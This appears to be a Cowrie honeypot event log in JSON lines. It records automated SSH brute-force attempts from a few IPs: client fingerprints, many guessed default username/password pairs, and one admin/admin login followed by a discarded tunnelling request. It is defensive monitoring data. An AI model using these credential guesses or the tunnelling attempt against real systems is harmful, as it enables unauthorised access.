{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:33.085470Z","src_ip":"141.11.88.14","session":"755ab96db822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:33.668883Z","src_ip":"141.11.88.14","session":"755ab96db822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:34.757347Z","src_ip":"141.11.88.14","session":"755ab96db822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46072,"dst_ip":"10.17.0.5","dst_port":22,"session":"9666fe68a3a1","protocol":"ssh","message":"New connection: 141.11.88.14:46072 (10.17.0.5:22) [session: 9666fe68a3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:39.949421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:40.124190Z","src_ip":"141.11.88.14","session":"9666fe68a3a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:40.129367Z","src_ip":"141.11.88.14","session":"9666fe68a3a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.910717725753784,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:40.373537Z","src_ip":"128.199.8.54","session":"e77ceb667d53","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"main","password":"1234","message":"login attempt [main/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:41.207730Z","src_ip":"141.11.88.14","session":"9666fe68a3a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":39094,"dst_ip":"10.17.0.5","dst_port":22,"session":"a58f9a50c58b","protocol":"ssh","message":"New connection: 103.77.175.15:39094 (10.17.0.5:22) [session: a58f9a50c58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:42.463750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:42.468357Z","src_ip":"103.77.175.15","session":"a58f9a50c58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:42.526099Z","src_ip":"141.11.88.14","session":"9666fe68a3a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:42.737243Z","src_ip":"103.77.175.15","session":"a58f9a50c58b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090690","message":"login attempt [root/090690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:43.830268Z","src_ip":"103.77.175.15","session":"a58f9a50c58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:45.102749Z","src_ip":"103.77.175.15","session":"a58f9a50c58b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39598,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a11b67987d3","protocol":"ssh","message":"New connection: 141.11.88.14:39598 (10.17.0.5:22) [session: 9a11b67987d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:48.134985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:48.221581Z","src_ip":"141.11.88.14","session":"9a11b67987d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:48.225537Z","src_ip":"141.11.88.14","session":"9a11b67987d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:48.805186Z","src_ip":"141.11.88.14","session":"9a11b67987d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:49.914524Z","src_ip":"141.11.88.14","session":"9a11b67987d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12930,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd806f7485a","protocol":"ssh","message":"New connection: 87.251.64.176:12930 (10.17.0.5:22) [session: 5dd806f7485a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:54.669291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:54.674544Z","src_ip":"87.251.64.176","session":"5dd806f7485a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:54.780514Z","src_ip":"87.251.64.176","session":"5dd806f7485a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39642,"dst_ip":"10.17.0.5","dst_port":22,"session":"77682cd859fb","protocol":"ssh","message":"New connection: 141.11.88.14:39642 (10.17.0.5:22) [session: 77682cd859fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:55.368650Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:55.545765Z","src_ip":"87.251.64.176","session":"5dd806f7485a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:55.653505Z","session":"5dd806f7485a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:55.757649Z","src_ip":"87.251.64.176","session":"5dd806f7485a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:55.809505Z","src_ip":"141.11.88.14","session":"77682cd859fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:55.812553Z","src_ip":"141.11.88.14","session":"77682cd859fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:55.865532Z","src_ip":"87.251.64.176","session":"5dd806f7485a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:57.103956Z","src_ip":"141.11.88.14","session":"77682cd859fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:58.229436Z","src_ip":"141.11.88.14","session":"77682cd859fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49952,"dst_ip":"10.17.0.5","dst_port":22,"session":"546028896ef3","protocol":"ssh","message":"New connection: 141.11.88.14:49952 (10.17.0.5:22) [session: 546028896ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:04.011960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:04.204216Z","src_ip":"141.11.88.14","session":"546028896ef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:04.211284Z","src_ip":"141.11.88.14","session":"546028896ef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:04.881936Z","src_ip":"141.11.88.14","session":"546028896ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:05.965901Z","src_ip":"141.11.88.14","session":"546028896ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35580,"dst_ip":"10.17.0.5","dst_port":22,"session":"546256007018","protocol":"ssh","message":"New connection: 141.11.88.14:35580 (10.17.0.5:22) [session: 546256007018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:11.170191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:11.377591Z","src_ip":"141.11.88.14","session":"546256007018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:11.380718Z","src_ip":"141.11.88.14","session":"546256007018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"audi","password":"audi","message":"login attempt [audi/audi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:12.793642Z","src_ip":"141.11.88.14","session":"546256007018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:14.487783Z","src_ip":"141.11.88.14","session":"546256007018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44898,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5a43bd9702","protocol":"ssh","message":"New connection: 141.11.88.14:44898 (10.17.0.5:22) [session: 6c5a43bd9702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:18.424014Z"}
